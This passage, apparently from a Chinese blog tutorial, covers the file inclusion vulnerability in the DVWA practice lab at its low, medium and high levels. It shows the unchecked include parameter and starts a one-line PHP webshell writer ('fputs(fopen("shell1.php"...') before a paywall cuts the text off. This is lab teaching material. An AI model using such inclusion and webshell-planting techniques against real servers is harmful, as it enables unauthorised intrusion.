本文介绍了文件包含漏洞的三个级别：low、medium和high，讲解了如何利用这种漏洞进行攻击。在low级别，由于缺少检查，攻击者可任意引入页面甚至执行恶意代码；medium级别通过过滤URL但仍能被绕过；在high级别，严格限制了可包含的文件，降低了攻击可能性。通过实例展示了如何生成和利用木马文件控制服务器。
有些网页具有包含其他页面到当前页面的功能，是通过URL设置参数添加进来的，比如下面这个URL
http://192.168.232.128/dvwa/vulnerabilities/fi/?page=include.php
将include.php包含进来
一：low级别
<?php
$file = $_GET['page']; //The page we wish to display
?>
因为源码中没有对页面进行检查，直接包含，所以可以随意引入其他页面
比如引入c.php
也可以在文件里添加恶意代码，执行之后会在目标服务器生成木马，以此来入侵目标系统。
下面这行代码能够生成一句话目标
<?fputs(fopen("shell1.php",
最低0.47元/天 解锁文章
1万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
